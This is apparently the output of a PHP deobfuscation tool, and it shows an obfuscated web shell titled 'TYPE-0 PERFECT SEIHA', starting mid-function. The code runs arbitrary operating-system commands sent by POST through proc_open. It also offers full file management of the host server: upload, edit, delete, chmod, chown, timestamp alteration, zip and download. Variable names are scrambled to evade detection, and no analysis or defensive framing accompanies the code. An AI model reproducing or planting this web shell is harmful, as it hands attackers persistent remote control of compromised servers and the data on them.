getCurrentDir(){$zfbmfdf="currentDir";$ljjrilugu="currentDir";${$zfbmfdf}=isset($_GET["dir"])?$_GET["dir"]:__DIR__;if(isset($_GET["dir"])&&is_dir($_GET["dir"])){${${"GLOBALS"}["ylwbhex"]}=realpath($_GET["dir"]);}return${$ljjrilugu};}${${"GLOBALS"}["kxtvbmi"]}=php_uname("a");${${"GLOBALS"}["fiyowbznld"]}=get_current_user();${${"GLOBALS"}["olnhqbnjzd"]}=getCurrentDir();chdir(${${"GLOBALS"}["ylwbhex"]});function listFiles($dir,$showHidden=false){${"GLOBALS"}["ghglxso"]="items";${${"GLOBALS"}["ghglxso"]}=array();if(is_dir(${${"GLOBALS"}["ojokedbz"]})){if(${${"GLOBALS"}["forkmbkumw"]}=opendir(${${"GLOBALS"}["ojokedbz"]})){${"GLOBALS"}["phxjcvqlddfb"]="dh";while((${${"GLOBALS"}["ndvndhdx"]}=readdir(${${"GLOBALS"}["phxjcvqlddfb"]}))!==false){${"GLOBALS"}["dscyxugwqx"]="file";${"GLOBALS"}["dtlloiny"]="showHidden";if(${${"GLOBALS"}["ndvndhdx"]}!="."&&${${"GLOBALS"}["dscyxugwqx"]}!=".."&&(${${"GLOBALS"}["dtlloiny"]}||${${"GLOBALS"}["ndvndhdx"]}[0]!==".")){$hziwevxsn="file";$wnwijtcsppx="fileInfo";$htxrzfq="filePath";${"GLOBALS"}["rajzldjo"]="filePath";$vlnpjpplbhdj="filePath";$dvfpkfjxkqp="fileInfo";${${"GLOBALS"}["jhhsco"]}=${${"GLOBALS"}["ojokedbz"]}."/".${$hziwevxsn};$jvwwcobbtvj="items";$wizxvtnof="userGroup";$svxlbuem="lastModified";${$wnwijtcsppx}=stat(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["wewwauumxvau"]}=substr(sprintf("%o",fileperms(${$htxrzfq})),-4);$xqxztbtuhsg="file";${"GLOBALS"}["xmtklstw"]="size";${$svxlbuem}=date("Y-m-d H:i:s",${$dvfpkfjxkqp}["mtime"]);$mzbxnaznfsf="filePath";if(function_exists("posix_getpwuid")&&function_exists("posix_getgrgid")){${"GLOBALS"}["lyfvnkcxgqqj"]="pwuid";$tmxntvty="fileInfo";${"GLOBALS"}["wrlblqo"]="pwuid";${"GLOBALS"}["sfuapy"]="userGroup";${${"GLOBALS"}["lyfvnkcxgqqj"]}=@posix_getpwuid(${$tmxntvty}["uid"]);${"GLOBALS"}["rhnmdpptey"]="grgid";${${"GLOBALS"}["bfxvopizfd"]}=@posix_getgrgid(${${"GLOBALS"}["rjsrxmnuelfi"]}["gid"]);${${"GLOBALS"}["sfuapy"]}=(${${"GLOBALS"}["wrlblqo"]}["name"]??"Unknown")."/".(${${"GLOBALS"}["rhnmdpptey"]}["name"]??"Unknown");}else{$vbuhhmyrc="ownerId";${"GLOBALS"}["jxdjlts"]="userGroup";${"GLOBALS"}["pwktffkcjhp"]="groupId";${"GLOBALS"}["gadujw"]="groupId";${${"GLOBALS"}["ltgjpdqjob"]}=fileowner(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["gadujw"]}=filegroup(${${"GLOBALS"}["jhhsco"]});${${"GLOBALS"}["jxdjlts"]}=(${${"GLOBALS"}["ltgjpdqjob"]}!==false?${$vbuhhmyrc}:"Unknown")."/".(${${"GLOBALS"}["pwktffkcjhp"]}!==false?${${"GLOBALS"}["kdtpoiplniio"]}:"Unknown");}$gndnwcignoy="permissions";${"GLOBALS"}["nkfnhspzz"]="permissionClass";${${"GLOBALS"}["qhqvggwquj"]}=is_dir(${${"GLOBALS"}["rajzldjo"]})?"-":filesize(${$mzbxnaznfsf});${${"GLOBALS"}["nkfnhspzz"]}=is_writable(${${"GLOBALS"}["jhhsco"]})?"permission-green":"permission-red";${$jvwwcobbtvj}[]=array("name"=>${$xqxztbtuhsg},"size"=>${${"GLOBALS"}["xmtklstw"]},"permissions"=>${$gndnwcignoy},"lastModified"=>${${"GLOBALS"}["vqzbuqvbup"]},"userGroup"=>${$wizxvtnof},"path"=>${${"GLOBALS"}["jhhsco"]},"isDir"=>is_dir(${$vlnpjpplbhdj}),"permissionClass"=>${${"GLOBALS"}["ufwbwdx"]});}}closedir(${${"GLOBALS"}["forkmbkumw"]});}}return${${"GLOBALS"}["lrorpxr"]};}if($_SERVER["REQUEST_METHOD"]==="POST"){if(isset($_POST["action"])&&isset($_POST["items"])){$klmtdvpmmsxd="zipName";$sxgslyqcohf="items";${"GLOBALS"}["rtsxax"]="zip";${${"GLOBALS"}["kprvndgyvxt"]}=$_POST["action"];${"GLOBALS"}["gduiihyjq"]="items";$qsdfiewlkexh="currentDir";$iligkuwafcsh="action";${"GLOBALS"}["wjidodgq"]="items";$efxrkrgqml="items";$esghvuox="message";${${"GLOBALS"}["lrorpxr"]}=$_POST["items"];switch(${$iligkuwafcsh}){case"delete":foreach(${${"GLOBALS"}["wjidodgq"]} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["thidyeit"]="item";${"GLOBALS"}["kfrqishrgw"]="item";if(is_file(${${"GLOBALS"}["kfrqishrgw"]})){$ojkpwjsglnr="item";unlink(${$ojkpwjsglnr});}elseif(is_dir(${${"GLOBALS"}["thidyeit"]})){$jjkxjbqdfx="item";rmdir(${$jjkxjbqdfx});}}${$esghvuox}="Item yang dipilih berhasil dicrot.";break;case"chmod":if(isset($_POST["permissions"])){${${"GLOBALS"}["wewwauumxvau"]}=$_POST["permissions"];if(preg_match("/^[0-7]{3,4}\$/",${${"GLOBALS"}["wewwauumxvau"]})){${"GLOBALS"}["inncqfly"]="item";$gglzgacvp="items";foreach(${$gglzgacvp} as${${"GLOBALS"}["inncqfly"]}){${"GLOBALS"}["ijlnfoumfd"]="item";if(file_exists(${${"GLOBALS"}["ijlnfoumfd"]})){chmod(${${"GLOBALS"}["hbwvkaljjg"]},octdec(${${"GLOBALS"}["wewwauumxvau"]}));}}${${"GLOBALS"}["mtwufb"]}="Permissions diubah menjadi $permissions untuk item yang dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Format permission tidak crot.";}}break;case"rename":if(isset($_POST["new_name"])&&count(${$sxgslyqcohf})===1){$ftfckdlvmx="oldName";${"GLOBALS"}["skmbrgptfh"]="oldName";${${"GLOBALS"}["tbxpidwvb"]}=${${"GLOBALS"}["lrorpxr"]}[0];${${"GLOBALS"}["esudxcfed"]}=dirname(${$ftfckdlvmx})."/".$_POST["new_name"];if(rename(${${"GLOBALS"}["skmbrgptfh"]},${${"GLOBALS"}["esudxcfed"]})){$sqxkuvjquwuq="message";${$sqxkuvjquwuq}="Berhasil ngecrot nama.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot nama.";}}break;case"chown":if(isset($_POST["new_owner"])&&function_exists("chown")){${"GLOBALS"}["vdgkxdydv"]="items";${${"GLOBALS"}["sqxpfqfhzqdx"]}=$_POST["new_owner"];foreach(${${"GLOBALS"}["vdgkxdydv"]} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["wdoiruiatpr"]="item";if(chown(${${"GLOBALS"}["wdoiruiatpr"]},${${"GLOBALS"}["sqxpfqfhzqdx"]})){${${"GLOBALS"}["mtwufb"]}="Kepemilikan berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot kepemilikan.";}}}break;case"touch":if(isset($_POST["new_time"])){$gnruzwmpkq="newTime";$unugdkzdhf="newTime";${$gnruzwmpkq}=strtotime($_POST["new_time"]);if(${$unugdkzdhf}!==false){$sqpgqlzoh="items";foreach(${$sqpgqlzoh} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["vftfkmfwqko"]="newTime";if(touch(${${"GLOBALS"}["hbwvkaljjg"]},${${"GLOBALS"}["vftfkmfwqko"]})){${${"GLOBALS"}["mtwufb"]}="Timestamp berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot timestamp.";}}}else{${${"GLOBALS"}["mtwufb"]}="Format tanggal/waktu tidak crot.";}}break;case"zip":${${"GLOBALS"}["hvtevys"]}="archive_".time().".zip";${${"GLOBALS"}["rtsxax"]}=new ZipArchive();if($zip->open(${$qsdfiewlkexh}."/".${$klmtdvpmmsxd},ZipArchive::CREATE)===TRUE){$nivynrlkspmf="items";foreach(${$nivynrlkspmf} as${${"GLOBALS"}["hbwvkaljjg"]}){${"GLOBALS"}["hauuitjcu"]="item";${"GLOBALS"}["tvyisltuo"]="currentDir";${${"GLOBALS"}["rxkppka"]}=str_replace(${${"GLOBALS"}["tvyisltuo"]}."/","",${${"GLOBALS"}["hbwvkaljjg"]});if(is_file(${${"GLOBALS"}["hbwvkaljjg"]})){$hcfyegbmin="relativePath";$zip->addFile(${${"GLOBALS"}["hbwvkaljjg"]},${$hcfyegbmin});}elseif(is_dir(${${"GLOBALS"}["hauuitjcu"]})){${"GLOBALS"}["xgmpnnks"]="relativePath";$jnyoaymlvh="iterator";$zip->addEmptyDir(${${"GLOBALS"}["xgmpnnks"]});${$jnyoaymlvh}=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(${${"GLOBALS"}["hbwvkaljjg"]}));foreach(${${"GLOBALS"}["ifcuawxidh"]} as${${"GLOBALS"}["ndvndhdx"]}){if(!$file->isDir()){${${"GLOBALS"}["jhhsco"]}=$file->getRealPath();${${"GLOBALS"}["rxkppka"]}=substr(${${"GLOBALS"}["jhhsco"]},strlen(${${"GLOBALS"}["ylwbhex"]})+1);$zip->addFile(${${"GLOBALS"}["jhhsco"]},${${"GLOBALS"}["rxkppka"]});}}}}$zip->close();$widindatugo="message";${$widindatugo}="File berhasil di-crot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal membuat file crot.";}break;case"unzip":foreach(${${"GLOBALS"}["gduiihyjq"]} as${${"GLOBALS"}["hbwvkaljjg"]}){if(pathinfo(${${"GLOBALS"}["hbwvkaljjg"]},PATHINFO_EXTENSION)==="zip"){${"GLOBALS"}["myjoalbaq"]="zip";${${"GLOBALS"}["myjoalbaq"]}=new ZipArchive;if($zip->open(${${"GLOBALS"}["hbwvkaljjg"]})===TRUE){${"GLOBALS"}["jadfunodpwe"]="message";$zip->extractTo(${${"GLOBALS"}["ylwbhex"]});$zip->close();${${"GLOBALS"}["jadfunodpwe"]}="File berhasil di-crot.";}else{${"GLOBALS"}["vijdjwc"]="message";${${"GLOBALS"}["vijdjwc"]}="Gagal meng-crot file.";}}}break;case"download":if(count(${$efxrkrgqml})===1){$zhfxtyjon="file";${"GLOBALS"}["mjitxkhlr"]="file";${$zhfxtyjon}=${${"GLOBALS"}["lrorpxr"]}[0];if(is_file(${${"GLOBALS"}["mjitxkhlr"]})){${"GLOBALS"}["fqtubmnlrmyk"]="file";header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=\"".basename(${${"GLOBALS"}["fqtubmnlrmyk"]})."\"");header("Expires: 0");header("Cache-Control: must-revalidate");${"GLOBALS"}["rrtnmhttf"]="file";header("Pragma: public");header("Content-Length: ".filesize(${${"GLOBALS"}["rrtnmhttf"]}));readfile(${${"GLOBALS"}["ndvndhdx"]});exit;}else{${${"GLOBALS"}["mtwufb"]}="Tidak dapat ngecrot direktori.";}}else{${${"GLOBALS"}["mtwufb"]}="Pilih satu file untuk dicrot.";}break;}}if(isset($_FILES["files"])){$azbblyfjijm="uploadSuccess";$obfjcbfa="uploadFail";$xoohyrmsr="uploadFail";${${"GLOBALS"}["hcuyryrloo"]}=$_FILES["files"];${$azbblyfjijm}=0;$vtbyqpohgf="name";${$obfjcbfa}=0;foreach(${${"GLOBALS"}["hcuyryrloo"]}["name"]as${${"GLOBALS"}["jtdwwjr"]}=>${$vtbyqpohgf}){${"GLOBALS"}["ywahzpi"]="key";$dfrjvi="uploadedFiles";if(${$dfrjvi}["error"][${${"GLOBALS"}["ywahzpi"]}]===UPLOAD_ERR_OK){$ldgubjbham="currentDir";${"GLOBALS"}["hkxufiaekk"]="tmpName";${"GLOBALS"}["uskifznp"]="key";${${"GLOBALS"}["hkxufiaekk"]}=${${"GLOBALS"}["hcuyryrloo"]}["tmp_name"][${${"GLOBALS"}["uskifznp"]}];${${"GLOBALS"}["fbsigfsobr"]}=${$ldgubjbham}."/".${${"GLOBALS"}["yfgjdldrq"]};if(move_uploaded_file(${${"GLOBALS"}["xrgqkbyud"]},${${"GLOBALS"}["fbsigfsobr"]})){$imnnxrquez="uploadSuccess";${$imnnxrquez}++;}else{$uooulcpqyj="uploadFail";${$uooulcpqyj}++;}}else{${${"GLOBALS"}["scuzcaq"]}++;}}if(${${"GLOBALS"}["jrshvstxvsj"]}>0){${${"GLOBALS"}["mtwufb"]}="$uploadSuccess file berhasil dicrot.";}if(${$xoohyrmsr}>0){${${"GLOBALS"}["mtwufb"]}="$uploadFail file gagal dicrot.";}}if(isset($_POST["new_file"])&&!empty($_POST["new_file"])){${"GLOBALS"}["fyixfbwote"]="newFile";${${"GLOBALS"}["fyixfbwote"]}=${${"GLOBALS"}["ylwbhex"]}."/".$_POST["new_file"];if(!file_exists(${${"GLOBALS"}["yetjserv"]})){if(touch(${${"GLOBALS"}["yetjserv"]})){${${"GLOBALS"}["mtwufb"]}="File baru berhasil dicrot.";}else{${"GLOBALS"}["oltwftpxeqz"]="message";${${"GLOBALS"}["oltwftpxeqz"]}="Gagal ngecrot file baru.";}}else{$tfvsjokkuye="message";${$tfvsjokkuye}="File dah ada.";}}if(isset($_POST["new_dir"])&&!empty($_POST["new_dir"])){$dysvbn="newDir";${"GLOBALS"}["lwfqpsyr"]="currentDir";${"GLOBALS"}["yapdlnvmcgt"]="newDir";${$dysvbn}=${${"GLOBALS"}["lwfqpsyr"]}."/".$_POST["new_dir"];if(!file_exists(${${"GLOBALS"}["yapdlnvmcgt"]})){${"GLOBALS"}["iimvrnpp"]="newDir";if(mkdir(${${"GLOBALS"}["iimvrnpp"]})){${${"GLOBALS"}["mtwufb"]}="Direktori baru berhasil dicrot.";}else{${${"GLOBALS"}["mtwufb"]}="Gagal ngecrot direktori baru.";}}else{$cykpklgp="message";${$cykpklgp}="Direktori dah ada.";}}}if(isset($_GET["edit"])){${"GLOBALS"}["toslcdkij"]="fileToEdit";${${"GLOBALS"}["eyxsdd"]}=$_GET["edit"];if(is_file(${${"GLOBALS"}["toslcdkij"]})){$bibkgknvs="content";if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["save"])){${${"GLOBALS"}["rphaqhgd"]}=$_POST["content"];file_put_contents(${${"GLOBALS"}["eyxsdd"]},${${"GLOBALS"}["rphaqhgd"]});${${"GLOBALS"}["mtwufb"]}="File berhasil dicrot.";}${$bibkgknvs}=file_get_contents(${${"GLOBALS"}["eyxsdd"]});}}${${"GLOBALS"}["tpmkktffpl"]}=isset($_GET["show_hidden"])?$_GET["show_hidden"]==="1":false;${${"GLOBALS"}["hhlseycsu"]}=listFiles(${$bsjsemqex},${${"GLOBALS"}["tpmkktffpl"]});${$rnqdnq}="";if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["command"])){${${"GLOBALS"}["zekaisyeri"]}=$_POST["command"];${"GLOBALS"}["jkedjknhx"]="descriptorspec";$dpfkbfcke="descriptorspec";$rqjobyrpu="pipes";$eweaqg="command";${$dpfkbfcke}=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));${${"GLOBALS"}["wocnmteeuwkm"]}=proc_open(${$eweaqg},${${"GLOBALS"}["jkedjknhx"]},${$rqjobyrpu});if(is_resource(${${"GLOBALS"}["wocnmteeuwkm"]})){$zolwztg="commandOutput";$uurkzpgity="process";${$zolwztg}=stream_get_contents(${${"GLOBALS"}["ozmtqifjl"]}[1]);fclose(${${"GLOBALS"}["ozmtqifjl"]}[1]);proc_close(${$uurkzpgity});}}echo "
<!DOCTYPE html>
<html lang="en\">
<head>
<meta charset="UTF-8\">
<meta name="viewport\" content=\"width=device-width, initial-scale=1.0\">
<title>TYPE-0 PERFECT SEIHA</title>
<style>
body {
font-family: Arial, sans-serif;
line-height: 1.6;
margin: 0;
padding: 20px;
background-color: #e0f7fa; /* Latar belakang aqua muda */
color: #00363a; /* Warna teks gelap untuk kontras */
}
.container {
max-width: 1200px;
margin: 0 auto;
background-color: #ffffff; /* Latar belakang putih */
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 15px rgba(0,0,0,0.1);
}
h1 {
color: #006064; /* Warna aqua gelap untuk judul */
text-align: center;
margin-bottom: 20px;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
background-color: #ffffff;
}
th, td {
padding: 12px;
border: 1px solid #b2ebf2; /* Border aqua muda */
text-align: left;
}
th {
background-color: #4dd0e1; /* Header tabel aqua */
color: white;
font-weight: bold;
}
tr:nth-child(even) {
background-color: #e0f7fa; /* Baris genap aqua sangat muda */
}
tr:hover {
background-color: #b2ebf2; /* Hover effect aqua muda */
}
.hidden-file { color: #78909c; }
.permission-green { color: #00897b; }
.permission-red { color: #d32f2f; }
.breadcrumb {
list-style: none;
padding: 10px;
background-color: #4dd0e1; /* Breadcrumb aqua */
border-radius: 5px;
margin-bottom: 20px;
}
.breadcrumb li {
display: inline;
font-size: 16px;
}
.breadcrumb li+li:before {
padding: 8px;
color: white;
content: "/a0";
}
.breadcrumb li a {
color: white;
text-decoration: none;
}
.breadcrumb li a:hover {
text-decoration: underline;
}
form {
margin-bottom: 20px;
background-color: #ffffff;
padding: 15px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
input[type=\"text\"], input[type=\"file\"], select {
padding: 8px;
margin-right: 10px;
border: 1px solid #b2ebf2;
border-radius: 4px;
}
button {
padding: 8px 15px;
background-color: #00acc1; /* Tombol aqua */
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
}
button:hover {
background-color: #007c91; /* Tombol aqua gelap saat hover */
}
#commandOutput {
background-color: #f1f8e9;
border: 1px solid #c5e1a5;
padding: 10px;
margin-top: 10px;
white-space: pre-wrap;
border-radius: 4px;
}
/* Styling untuk checkbox */
input[type=\"checkbox"] {
margin-right: 5px;
}
/* Styling untuk action select */
#action-select {
padding: 8px;
border: 1px solid #b2ebf2;
border-radius: 4px;
background-color: white;
}
#action-inputs {
margin-top: 10px;
}
</style>
</head>
<body>
<div class=\"container\">
<h1>TYPE-0 PERFECT SEIHA</h1>
";echo"Server Info: <span style='color:cyan;'>$kernel</span><br>";echo"User: <span style='color:cyan;'>$currentUser</span><br>";echo " ";if(isset(${${"GLOBALS"}["mtwufb"]})){echo " <p style=\"background-color: #b2dfdb; padding: 10px; border-radius: 4px;"><strong>";echo htmlspecialchars(${${"GLOBALS"}["mtwufb"]});echo "</strong></p>
";}echo "
<form method="POST" enctype="multipart/form-data">
<input type=\"file\" name="files[]" multiple>
<button type="submit">Crot</button><br>
<input type=\"text\" name=\"new_file\" placeholder="New File\">
<button type="submit">Crot File</button><br>
<input type=\"text" name=\"new_dir" placeholder=\"New Dir\">
<button type=\"submit">Crot Dir</button>
</form>
<form method="POST\">
<input type=\"text\" name="command\" placeholder=\"echo Type-0">
<button type="submit\">Crot Command</button>
</form>
";if(!empty(${${"GLOBALS"}["cviwkgsmhdb"]})){echo " <div id=\"commandOutput">";$hplgpshr="commandOutput";echo htmlspecialchars(${$hplgpshr});echo "</div>
";}echo "
";${${"GLOBALS"}["pnlrrwvzdb"]}=explode("/",${$bvuzegt});echo"<ul class=\"breadcrumb">";echo"<li><a href="?dir=".urlencode(__DIR__)."\">[HOME]</a></li>";${$bbffbiedjekb}="";foreach(${${"GLOBALS"}["pnlrrwvzdb"]} as${${"GLOBALS"}["rwjgvsdwz"]}){$ddqwevaya="part";if(${$ddqwevaya}!==""){${"GLOBALS"}["zerbzjfb"]="part";$xvtrvmc="part";${"GLOBALS"}["sivvygukqzp"]="currentPath";${${"GLOBALS"}["sivvygukqzp"]}.="/".${${"GLOBALS"}["zerbzjfb"]};echo"<li><a href=\"?dir=".urlencode(${${"GLOBALS"}["mcmkaqzu"]})."\">".htmlspecialchars(${$xvtrvmc})."</a></li>";}}echo"</ul>";echo " <form method=\"GET\">
<input type=\"hidden\" name=\"dir\" value=\"";echo htmlspecialchars(${${"GLOBALS"}["ylwbhex"]});echo "">
<label>
<input type="checkbox" name="show_hidden\" value=\"1" ";echo${${"GLOBALS"}["tpmkktffpl"]}?"checked":"";echo " onchange="this.form.submit()">
Show Hidden Files
</label>
</form>
";if(isset(${${"GLOBALS"}["eyxsdd"]})){echo"<h3>Edit File: ".htmlspecialchars(${${"GLOBALS"}["eyxsdd"]})."</h3>";${"GLOBALS"}["pwyinfm"]="fileToEdit";echo"<form method="POST\">";${"GLOBALS"}["bvncmnn"]="content";echo"<textarea name=\"content" rows=\"20" cols=\"100\">".htmlspecialchars(${${"GLOBALS"}["bvncmnn"]})."</textarea><br>";echo"<input type="hidden" name=\"filename" value="".htmlspecialchars(${${"GLOBALS"}["pwyinfm"]})."">";echo"<button type="submit" name=\"save\">Crotin</button>";echo"</form>";}echo "
<form method=\"POST">
<table>
<thead>
<tr>
<th><input type=\"checkbox\" id=\"select-all\"></th>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Modified</th>
<th>User/Group</th>
</tr>
</thead>
<tbody>
";foreach(${${"GLOBALS"}["hhlseycsu"]} as${${"GLOBALS"}["ndvndhdx"]}){echo " <tr class="";echo${${"GLOBALS"}["ndvndhdx"]}["isDir"]?"directory":"file";${"GLOBALS"}["djfhspu"]="file";echo " ";echo${${"GLOBALS"}["ndvndhdx"]}["name"][0]==="."?"hidden-file":"";echo "\">
<td><input type=\"checkbox\" name="items[]" value=\"";echo htmlspecialchars(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo ""></td>
<td>
";if(${${"GLOBALS"}["djfhspu"]}["isDir"]){echo " <a href=\"?dir=";${"GLOBALS"}["crmmqyn"]="showHidden";echo urlencode(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo "&show_hidden=";echo${${"GLOBALS"}["crmmqyn"]}?"1":"0";${"GLOBALS"}["jywbagg"]="file";echo "">";echo htmlspecialchars(${${"GLOBALS"}["jywbagg"]}["name"]);echo "</a>
";}else{${"GLOBALS"}["qvhkhist"]="currentDir";echo " <a href="?dir=";${"GLOBALS"}["xuhnhvuy"]="showHidden";echo urlencode(${${"GLOBALS"}["qvhkhist"]});echo "&edit=";echo urlencode(${${"GLOBALS"}["ndvndhdx"]}["path"]);echo "&show_hidden=";${"GLOBALS"}["ucpcrhgbep"]="file";echo${${"GLOBALS"}["xuhnhvuy"]}?"1":"0";echo "">";echo htmlspecialchars(${${"GLOBALS"}["ucpcrhgbep"]}["name"]);echo "</a>
";}echo "
</td>
<td>";echo${${"GLOBALS"}["ndvndhdx"]}["size"];${"GLOBALS"}["qnrusim"]="file";echo "</td>
<td class="";echo${${"GLOBALS"}["ndvndhdx"]}["permissionClass"];echo "">";echo${${"GLOBALS"}["ndvndhdx"]}["permissions"];echo "</td>
<td>";echo${${"GLOBALS"}["ndvndhdx"]}["lastModified"];echo "</td>
<td>";echo${${"GLOBALS"}["qnrusim"]}["userGroup"];echo "</td>
</tr>
";}echo "
</tbody>
</table>
<div>
<select name=\"action\" id=\"action-select\">
<option value=\"\">NGANU</option>
<option value=\"rename\">Rename</option>
<option value=\"delete">Hapus</option>
<option value=\"chmod">Chmod</option>
<option value="chown">Chown</option>
<option value="touch">Touch</option>
<option value=\"zip">Zip</option>
<option value=\"unzip\">Unzip</option>
<option value=\"download\">Download</option>
</select>
<div id=\"action-inputs" style="display:none;\">
<input type="text" name="new_name\" placeholder=\"Rename\">
<input type="text\" name=\"permissions\" placeholder=\"777\">
<input type=\"text" name=\"new_owner\" placeholder="type0:type0\">
<input type="datetime-local" name="new_time" placeholder=\"Timestamp\">
</div>
<button type="submit">Crotin</button>
</div>
</form>
</div>
<script>
// Fungsi Select All checkbox
document.getElementById('select-all').addEventListener('change', function() {
var isChecked = this.checked;
var checkboxes = document.querySelectorAll('input[name=\"items[]"]');
checkboxes.forEach(function(checkbox) {
checkbox.checked = isChecked;
});
});
// Tampilkan/sembunyikan input aksi berdasarkan aksi yang dipilih
document.getElementById('action-select').addEventListener('change', function() {
var actionInputs = document.getElementById('action-inputs');
actionInputs.style.display = this.value ? 'block' : 'none';
});
</script>
</body>
</html>
";
?>
Function Calls
None |
Stats
MD5 | a3af084b4d539e777307fcdc6012a18d |
Eval Count | 0 |
Decode Time | 107 ms |